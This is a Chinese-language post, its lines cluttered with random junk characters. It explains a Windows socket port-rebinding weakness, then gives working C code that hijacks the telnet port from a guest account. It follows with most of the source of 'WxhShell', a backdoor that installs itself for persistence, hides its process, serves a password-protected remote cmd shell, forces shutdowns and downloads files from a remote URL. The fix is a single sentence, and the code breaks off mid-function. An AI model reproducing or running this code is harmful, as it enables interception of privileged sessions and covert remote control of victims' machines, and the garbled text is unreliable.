在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
P=`1 rjPE s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
aXY->< +th%enRB saddr.sin_family = AF_INET;
A\AT0th xx)-d,S saddr.sin_addr.s_addr = htonl(INADDR_ANY);
pB p#a ?WpenUWk bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
k6(r !mc h2w}wsb0l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
C4\,z\Q <G~>~L.E 这意味着什么?意味着可以进行如下的攻击:
$bsH$N#6T {G3i0r 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
347eis' y'}O)lO1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
T9syo/( lA^+Flh 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{6G?[
`&ca 'O?~p55T 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
* R d#{Io7 6CCbBA 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
W^\d^) `t(D! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+fNvNbtA }BJX/, H, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
X!tf#tl A8DFm{})c #include
zt=0o|k #include
%Dig)<yx #include
7&B$HZ #include
LL*mgTQ DWORD WINAPI ClientThread(LPVOID lpParam);
@|\R}k%( int main()
@=Fi7M {
%ow^dzW WORD wVersionRequested;
8VQ 24r
DWORD ret;
x\\~SGd WSADATA wsaData;
ycAKK?O* BOOL val;
a9U_ug58 SOCKADDR_IN saddr;
tPfFqqT SOCKADDR_IN scaddr;
]zfG~^. int err;
7~1IO|4t SOCKET s;
Vj?DA5W`' SOCKET sc;
+&|S'7&{ int caddsize;
Sr_VL:Gg HANDLE mt;
dy>!KO DWORD tid;
-JT/9IQ wVersionRequested = MAKEWORD( 2, 2 );
'h1b1,b~
err = WSAStartup( wVersionRequested, &wsaData );
Uf\nFB? ^ if ( err != 0 ) {
XfYC7-e9c printf("error!WSAStartup failed!\n");
mQ~:Y return -1;
hk>;pU( }
I?Aj.{{$G% saddr.sin_family = AF_INET;
)C%N]9FvY -&2B@]] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
sOU_j:A80; [I;^^#'P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
sEc;!L saddr.sin_port = htons(23);
%~xGkk"I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
As&vFt P {
++-{]wB3=. printf("error!socket failed!\n");
w
ej[+y- return -1;
%A/_5;PZ/ }
wzCUZ1N9q val = TRUE;
fbvbz3N //SO_REUSEADDR选项就是可以实现端口重绑定的
28.~iw if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
tBATZ0nK`Q {
Gi2$B76< printf("error!setsockopt failed!\n");
,u9M<B<F return -1;
V5f9]D }
3< Od0J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
lB91An //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
~lAKJs#{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
M~Ttb29{ O$u"/cwe* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
O1&b]C# {
^wb:C[r!V ret=GetLastError();
p[AO'
xx printf("error!bind failed!\n");
eLD|A=X? return -1;
l^MzN }
.Dg*\ h listen(s,2);
GB7/x*u while(1)
Hu3wdq {
[U, ?R caddsize = sizeof(scaddr);
M<PIeKIEB //接受连接请求
"KX=ow#z| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
IuF_M<d, if(sc!=INVALID_SOCKET)
^5GW$ {
cvd\/pG) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
K14^JAdY/ if(mt==NULL)
y
!$alE {
DV)3 printf("Thread Creat Failed!\n");
EZ;"'4;W break;
:#k &\f-Y }
]i<[d, }
#|GSQJ$F)` CloseHandle(mt);
e= vsuqGT }
eB>s=}| closesocket(s);
gKz(= WSACleanup();
$d S@y+ return 0;
zq+o+o>xo }
9^Fz iM DWORD WINAPI ClientThread(LPVOID lpParam)
5irwz4.4 {
QqNW}:# SOCKET ss = (SOCKET)lpParam;
v3d&*I SOCKET sc;
\s"U{N- unsigned char buf[4096];
4(6b(]G'# SOCKADDR_IN saddr;
b$%0.s long num;
S"Lx% DWORD val;
j>uj=B@ DWORD ret;
osARA3\Xt //如果是隐藏端口应用的话,可以在此处加一些判断
)SryDRT //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
W&(k!6<x saddr.sin_family = AF_INET;
!-`Cp3gqHr saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
X\$ 0 saddr.sin_port = htons(23);
goat<\a if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$$b
9&mTl# {
'r1LSht' printf("error!socket failed!\n");
!`1'2BC return -1;
zDhB{3-Q1{ }
H{J'#
9H val = 100;
bXUy9-L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
pG1WXbqW {
h$eEn l} ret = GetLastError();
o<IAeH {+ return -1;
/~*_x=p: }
Lip4)Y [ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3(TsgP>` {
vAY,E=&XvM ret = GetLastError();
Y!iZW return -1;
8k
q5ud }
!Z
VU,b> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'lHdOG {
kmzH'wktt printf("error!socket connect failed!\n");
3(C\.oRc closesocket(sc);
gs!(;N\j| closesocket(ss);
.ERO|$fv return -1;
F}Vr:~ }
2'=T[<nNB while(1)
ifN64`AhRX {
Z{&cuo.@<] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
T~QJO0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
2 41*! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
c'/l,k num = recv(ss,buf,4096,0);
C8FB:JNJV if(num>0)
.bBdQpF- send(sc,buf,num,0);
|rm g#;/D else if(num==0)
{( r6e break;
L(&&26Y num = recv(sc,buf,4096,0);
quY:pqG38q if(num>0)
ca+5=+X7 send(ss,buf,num,0);
{o(j^@ else if(num==0)
q,
O$ %-70 break;
g}@OUG"D }
YPHS1E? closesocket(ss);
%|s+jeUDn| closesocket(sc);
tcxcup% return 0 ;
>EY3/Go> }
boDt`2= %^RN#_ro(3 ]_N|L|]M ==========================================================
95el'K[R >/|q:b^2r 下边附上一个代码,,WXhSHELL
/SYw;<= @)J+,tg/7 ==========================================================
<&C]sb iY21Ql% #include "stdafx.h"
O/[cpRe &b:1I7Cp* #include <stdio.h>
9B;{]c #include <string.h>
lg^Z*&( #include <windows.h>
7uzkp&+: #include <winsock2.h>
kc0E%odF.v #include <winsvc.h>
|i++0BU #include <urlmon.h>
Ub6jxib 0_ 88V #pragma comment (lib, "Ws2_32.lib")
T=ev[ mS #pragma comment (lib, "urlmon.lib")
yPq'( PV XI^QF;, #define MAX_USER 100 // 最大客户端连接数
X&kp;W #define BUF_SOCK 200 // sock buffer
Kr)a2rZ}SL #define KEY_BUFF 255 // 输入 buffer
1I:+MBGin O%bEB g #define REBOOT 0 // 重启
](hE^\SC #define SHUTDOWN 1 // 关机
EFz&N\2 4EY)!?; #define DEF_PORT 5000 // 监听端口
!KUi\yQ1 #\=F O> #define REG_LEN 16 // 注册表键长度
eio4k- #define SVC_LEN 80 // NT服务名长度
B
{>7-0 e%b6(% // 从dll定义API
s0vDHkf8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\-g)T}g,I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|ZmUNiAa typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
<7~'; K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
q<M2,YrbAI nrjE.+v // wxhshell配置信息
a|X a3E struct WSCFG {
ui? int ws_port; // 监听端口
&v@a5 L char ws_passstr[REG_LEN]; // 口令
PUUwv_ int ws_autoins; // 安装标记, 1=yes 0=no
B6={&7U2 char ws_regname[REG_LEN]; // 注册表键名
'dn]rV0(C char ws_svcname[REG_LEN]; // 服务名
ez|)ph7 char ws_svcdisp[SVC_LEN]; // 服务显示名
]9^sa-8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
~sh`r{0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1jcouD5?H int ws_downexe; // 下载执行标记, 1=yes 0=no
}~L.qG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
E 7{U|\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
qi^7 ~A\GT$ };
9iQq.$A . F%RRd/' // default Wxhshell configuration
|!4K!_y struct WSCFG wscfg={DEF_PORT,
1eF3` "xuhuanlingzhe",
.6Pw|xu`Pw 1,
5?x>9Ca "Wxhshell",
wfH^<jY)E "Wxhshell",
I`!<9OTBj "WxhShell Service",
Tc? $>' "Wrsky Windows CmdShell Service",
F'21jy& "Please Input Your Password: ",
K|[*t~59 1,
jW A(C;W "
http://www.wrsky.com/wxhshell.exe",
'd9INz. "Wxhshell.exe"
)?anOD[ };
%lGl,me H 9w7n1k. // 消息定义模块
HMNLa*CL' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
2fL;-\!y( char *msg_ws_prompt="\n\r? for help\n\r#>";
H*PSR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Y^wW2-,m char *msg_ws_ext="\n\rExit.";
8)_XJ"9)G char *msg_ws_end="\n\rQuit.";
50S&m+4d+ char *msg_ws_boot="\n\rReboot...";
_z|65H char *msg_ws_poff="\n\rShutdown...";
C&(N
I char *msg_ws_down="\n\rSave to ";
(,0(
GBPo8L"9 char *msg_ws_err="\n\rErr!";
8<QdMkI char *msg_ws_ok="\n\rOK!";
;@oN s- &OH={Au char ExeFile[MAX_PATH];
Fww :$^_ k int nUser = 0;
W:pIPDx1=! HANDLE handles[MAX_USER];
NXrJfp int OsIsNt;
s{*[]! uxr #QA SERVICE_STATUS serviceStatus;
_9F9W{' SERVICE_STATUS_HANDLE hServiceStatusHandle;
o6.^*%kM'
f*?]+rz // 函数声明
iP7(tnlW$ int Install(void);
rX2.i7i, int Uninstall(void);
yPb" V int DownloadFile(char *sURL, SOCKET wsh);
!$gR{XH$] int Boot(int flag);
GjvOM y void HideProc(void);
N5lDS int GetOsVer(void);
I&x=; int Wxhshell(SOCKET wsl);
9y"@( void TalkWithClient(void *cs);
0AL=S$B) int CmdShell(SOCKET sock);
ivJ@=pd)B int StartFromService(void);
|v3T! int StartWxhshell(LPSTR lpCmdLine);
v dc\R? gCB |DY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
%]} VOID WINAPI NTServiceHandler( DWORD fdwControl );
| ATvS2 -cAo@}v // 数据结构和表定义
c(xrP/yOwi SERVICE_TABLE_ENTRY DispatchTable[] =
286jI7 T {
Z 2V.3 {wscfg.ws_svcname, NTServiceMain},
L>Fa^jq5 {NULL, NULL}
86=}ZGWd };
*k.G5>@ K0|FY=#2y // 自我安装
2*laAB int Install(void)
#A JDWelD {
65JF`] char svExeFile[MAX_PATH];
V]lLw) HKEY key;
KQ% GIz x strcpy(svExeFile,ExeFile);
8Fz#A.%P z]_wjYn Z // 如果是win9x系统,修改注册表设为自启动
7x|9n if(!OsIsNt) {
UD2C>1j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?]_$Dcmx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
iL-(O;n RegCloseKey(key);
*&^Pj%DX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
B"1c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Bq%Jh RegCloseKey(key);
rr],DGg+B] return 0;
0d)M\lG }
6H.0vN& }
wDal5GJp }
PUMXOTu] else {
2lH& 3Ei#q+7 // 如果是NT以上系统,安装为系统服务
3nO]Ge"w'n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{HltvO%8 if (schSCManager!=0)
XpB_N{v9w {
pP&7rRhw SC_HANDLE schService = CreateService
O:;w3u7;u (
LM<qT-/qs schSCManager,
l*(8i ^ wscfg.ws_svcname,
%rL.|q9
wscfg.ws_svcdisp,
NX*Q F+ SERVICE_ALL_ACCESS,
O`IQ(,yef SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'T*&'RQr SERVICE_AUTO_START,
dVtG/0 SERVICE_ERROR_NORMAL,
6_GhO@lOG svExeFile,
itt3.:y NULL,
g[' ^L+hd NULL,
qZ}^;)a^ NULL,
u5`u>.! NULL,
-:+|zF@f NULL
6jD=F ^jw );
r=
`Jn6@ if (schService!=0)
oGnSPI5KGC {
we//|fA< CloseServiceHandle(schService);
4#MtF'J CloseServiceHandle(schSCManager);
)0]'QLH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
M6"PX *K strcat(svExeFile,wscfg.ws_svcname);
SaO}e if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
k_#ak%m/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
t%0VJB,Q2 RegCloseKey(key);
tKOmoC return 0;
y&$A+peJ1 }
NZ:,ph }
KxJ!,F{>H CloseServiceHandle(schSCManager);
%v
M-mbX }
Ju@c~Xm }
EH J.T~X t\dN DS return 1;
:D5Rlfj }
,q`\\d ,f%S'(>w // 自我卸载
O m|_{ int Uninstall(void)
I3L<[-ZE {
zj{pJOM06 HKEY key;
gD@){Ip lgL%u K) if(!OsIsNt) {
BA:VPTZq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e8a+2.!&\ RegDeleteValue(key,wscfg.ws_regname);
Hk3sI-XkA RegCloseKey(key);
sUO`u qZV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Di6 ?[(8 RegDeleteValue(key,wscfg.ws_regname);
,]F,Uu_H7 RegCloseKey(key);
WaRw05r return 0;
76{G'}B }
Jq-]7N%k/ }
\;Biq` }
y'q$| else {
AO4U}? ,?%Zc$\LW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
b4 6~?* if (schSCManager!=0)
+Mb.:_7' {
Rh{f5- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
GR_-9}jQP if (schService!=0)
(mpNcOY<D {
z43M]P< if(DeleteService(schService)!=0) {
m=:9+z CloseServiceHandle(schService);
'o2Fa_|<# CloseServiceHandle(schSCManager);
By!o3}~g return 0;
VscE ^'+ }
Ynj,pl CloseServiceHandle(schService);
=&]g "a' }
v@L;x [Q CloseServiceHandle(schSCManager);
U?Zq6_M& }
(y~TL*B }
?);v`] 1.GQau~ return 1;
;A'mB6?%H }
`*R:gE= g]H<}4lgq" // 从指定url下载文件
rq].UCj int DownloadFile(char *sURL, SOCKET wsh)
BX7kO0j {
Cl7xt}I HRESULT hr;
T.BW H2gRP char seps[]= "/";
zTSTEOP}%Y char *token;
XNkn|q2 char *file;
UB@+ck char myURL[MAX_PATH];
K+3=tk]W9u char myFILE[MAX_PATH];
+I|vzz`ZVr 2HA:"v8 strcpy(myURL,sURL);
^\=`edN 0 token=strtok(myURL,seps);
^jZbo{ while(token!=NULL)
Ow,w$0(D {
[RhO$c$[\ file=token;
|/{=ww8| token=strtok(NULL,seps);
^}o 2 }
",; H`V ~B?y{ GetCurrentDirectory(MAX_PATH,myFILE);
:DNY7TvZ strcat(myFILE, "\\");
0S!K{xyR strcat(myFILE, file);
,#9PxwrO send(wsh,myFILE,strlen(myFILE),0);
@qAS*3j send(wsh,"...",3,0);
fIU#M]Xx hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
}S-O&Z if(hr==S_OK)
VU3upy< return 0;
`Ggbi4), else
JK5gQ3C[ return 1;
ZBp/sm bWU'cw }
VpDbHAg $'M!HJxb // 系统电源模块
iqWQ!r^ int Boot(int flag)
on`3&0,. {
6LIJQ HANDLE hToken;
HIZe0%WPw TOKEN_PRIVILEGES tkp;
hz@bW2S. E ~<JC"] if(OsIsNt) {
rjYJs*# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
G_,jgg7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>|UOz& tkp.PrivilegeCount = 1;
%IWPM" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
%>{0yEC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Tyx_/pJT if(flag==REBOOT) {
3f{3NzN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
lt8|9"9< return 0;
@Jw-8Q{ }
SE %pw9 else {
M .mfw#* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
D'Q\za return 0;
EaN6^S= }
s2'h }
-[.[>&`/ else {
u'BaKWPS if(flag==REBOOT) {
?6WY:Zec@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1=V-V< return 0;
h2d(?vOT }
xwo<' xT else {
MQ8J<A Pf- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
$ddCTS^ return 0;
$xN|5;+ }
fNFY$:4X }
&D*b|ilvc C~/a- return 1;
J)-x!y> }
Sdryol< $=4QO // win9x进程隐藏模块
8$}<, c( void HideProc(void)
]c'A%:f< {
C?eH]hkZ3 <Q3c[ Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
. $vK&k if ( hKernel != NULL )
Q^")jPd {
Y}wyw8g/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
oUlVI*~ND ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
A*BeR0( FreeLibrary(hKernel);
3^yK!-Wp( }
o66}yJzmD xJ.M;SF4 return;
utV_W& }
TM%%O :3 w``U=sfmV // 获取操作系统版本
LKDO2N int GetOsVer(void)
PCtzl) {
sFRQe]zCcP OSVERSIONINFO winfo;
u>vL/nI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
{+>-7
9b GetVersionEx(&winfo);
cw
<l{A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4o5t#qP5$S return 1;
Jln:`!#fDf else
jnwu9PQ return 0;
o ^uA">GH }
^U/O!GK u=e{]Ax#} // 客户端句柄模块
N8df8=.kw int Wxhshell(SOCKET wsl)
"3J}b?u_[ {
_|`S3}q|d SOCKET wsh;
;!Fn1|) struct sockaddr_in client;
,eS)e+yzc2 DWORD myID;
k+*u/neh x]j W<A while(nUser<MAX_USER)
%8v\FS {
1< ?4\?j int nSize=sizeof(client);
S3J^,*' wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
n+ M <\ if(wsh==INVALID_SOCKET) return 1;
6ik$B , W?VhO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.T`%tJ-Em if(handles[nUser]==0)
E2-\]?\F( closesocket(wsh);
Wx#;E9=Im else
))Za&S*< nUser++;
:g/tZd$G5 }
uPvEwq*
C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{oL>1h,%3? apn*,7ps65 return 0;
1|:KQl2q }
UPGtj"2v- s5.CFA // 关闭 socket
{n=|Db~S void CloseIt(SOCKET wsh)
:k#HW6p {
#<xm. closesocket(wsh);
^<6[.) nUser--;
gRzxLf`K ExitThread(0);
VIbq:U }
o4WDh@d5S N2o7%gJw // 客户端请求句柄
*m (=V1" void TalkWithClient(void *cs)
4skD(au8 {
%a7$QF] ~}Pfu SOCKET wsh=(SOCKET)cs;
P$,Ke< char pwd[SVC_LEN];
EdX$(scu~B char cmd[KEY_BUFF];
NHE18_v5 char chr[1];
~V6D< int i,j;
ia?
c0xL B)UZ`?>c while (nUser < MAX_USER) {
w32y3~ 9-
#R)4_ if(wscfg.ws_passstr) {
fN2lLn9/u if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
CvdN"k //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-:rUw$3J //ZeroMemory(pwd,KEY_BUFF);
wuo,kM i=0;
8FhdN while(i<SVC_LEN) {
iURe( [@ B-mowmJ3dg // 设置超时
5lum $5 fd_set FdRead;
|':{lH6+1 struct timeval TimeOut;
Y4YJJYvD FD_ZERO(&FdRead);
n&!-9:0 FD_SET(wsh,&FdRead);
}QmqoCAE~m TimeOut.tv_sec=8;
(h
`V+ TimeOut.tv_usec=0;
!n%j)`0M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
nr3==21Om4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`GLx#=Q 1.>m@Slr> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
HbIF^LeY|R pwd
=chr[0]; lLIAw$
if(chr[0]==0xd || chr[0]==0xa) { @}ZVtrz
pwd=0; 6dYMwMH
break; "Y.y:Vv;
} OZ&o:/*HM
i++; GN>@ZdVG}#
} H"F29Pu2
V~ _>U}
// 如果是非法用户,关闭 socket #LNED)Vg
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e#q}F>/L
} }GIt!PG
Yr|4Fl~U
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !Z6{9sKR=]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o !7va"
yCo.cd-
while(1) { 6w7 7YTJ
@j/&m]6%-D
ZeroMemory(cmd,KEY_BUFF); f
*)Z)6E
@%SQFu@FJ
// 自动支持客户端 telnet标准 W_ZJ0GuE(
j=0; @o.I ;}*N
while(j<KEY_BUFF) { z?//rXuO
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UCWBYC+
cmd[j]=chr[0]; Ir]\|t
if(chr[0]==0xa || chr[0]==0xd) { zW nR6*\
cmd[j]=0; M3Kfd
break; {GUF;V
^
} 4GM6)"#d
j++; ,z?':TZ
} A2Tw<&Tw(
,u!sjx
// 下载文件 aQ~s`^D
if(strstr(cmd,"http://")) { -K$)DvV^(E
send(wsh,msg_ws_down,strlen(msg_ws_down),0); wA.\i
if(DownloadFile(cmd,wsh)) :@&/kyGH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y?#
Loe
else DTs;{c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +/\6=).\
} BerwI
7!=
else { [Nq*BrzF
2?i7UvV
switch(cmd[0]) { L0]_X#s>#
1 {)Q[#l
// 帮助 %>s|j'{
case '?': { azU"G(6y?+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y^]rMK/;
break; O
H7FkR
} .p$(ZH =~
// 安装 K+iP6B
case 'i': { E)3NxmM#
if(Install()) 8>%hz$no=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (iGTACoF
else ~{gqsuCCL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zMJT:7*`|
break; B1Oq!k
} |'2d_vR
// 卸载 BORA(,
case 'r': { LHmZxi?
if(Uninstall()) <6=c,y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C.QO#b
else ~;] d"'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mcok/,/
break; "ITIhnE
} 5(8@%6>ruj
// 显示 wxhshell 所在路径 Ct|A:/z(
case 'p': { _aMF?Pj~m
char svExeFile[MAX_PATH]; 'H!XUtFs"
strcpy(svExeFile,"\n\r"); FgI3
strcat(svExeFile,ExeFile); l+0P
send(wsh,svExeFile,strlen(svExeFile),0); ?hM64jI|
break; /Q )\ +
} j~QwV='S
// 重启 A(N4N
case 'b': { \di=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RGX=)
if(Boot(REBOOT)) c"xK`%e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UZ$/Ni
else { E!AE4B1bd
closesocket(wsh); c:g'.'/*
ExitThread(0); Cls%M5MH
} 07 $o;W@
break; '3H_wd
} [8*)8jP3
// 关机 (tQc
case 'd': { vcd\GN*4f
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {BHO/q3
if(Boot(SHUTDOWN)) [SW_C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]s748+
else { \|ao`MMaD<
closesocket(wsh); v.ui!|c
ExitThread(0); b u"!jHPB
} a'z7(8$$
break; &VcV$8k
} 1i] ^{;]
// 获取shell FCn_^l)EA
case 's': { Tb-F]lg$
CmdShell(wsh); .}*"Nv
closesocket(wsh); wvPk:1wD5
ExitThread(0); i 3SHg\~Z
break; Tac$LS\Q
} m#F`] {
// 退出 9)=ctoZ'
case 'x': { qjc4.,/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RX5dO%
CloseIt(wsh); 8KNZ](Dj
break; cs'{5!i]
} 2Wb]4-
// 离开 F}qc0
case 'q': { Hq 188<
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T,tdL
N-
closesocket(wsh); j8`BdKg
WSACleanup();
YrKWA
exit(1); +2j AC r
break; BF <ikilR
} {qMIGwu
} !?gKqx'T$
} k#rBB
`~`k_7t.
// 提示信息 IaXeRq?<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6JQ'Ik;$wX
} O7IJ%_A&
} 8&aq/4:q0
k@:%:Sj 2
return; Tu 7QCr5*
} (!N|Kl
JO<wU
// shell模块句柄 ?I@W:#>o
int CmdShell(SOCKET sock) ia 73?*mXT
{ bY0|N[g
STARTUPINFO si; puM3g|n@
ZeroMemory(&si,sizeof(si)); RdML3E
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;d9QAN&0}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '08=yqy4N
PROCESS_INFORMATION ProcessInfo; I
2|Bg,e
char cmdline[]="cmd"; ^v`\x5"Vp
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r$~HfskeI
return 0; 6i~WcAs
} [zM-^
Ez=Olbk
// 自身启动模式 k)Qtfj}uij
int StartFromService(void) ZJ[
??=Gz
{ d<N:[Y\4l
typedef struct aAA U{EWW
{ o.l-7
DWORD ExitStatus; }U9G
DWORD PebBaseAddress; u-5{U-^_
DWORD AffinityMask; (=@h23
vH
DWORD BasePriority; /~f'}]W
ULONG UniqueProcessId; g'qa}/X
ULONG InheritedFromUniqueProcessId; N'`A?&2ru
} PROCESS_BASIC_INFORMATION; /Mu@,)''
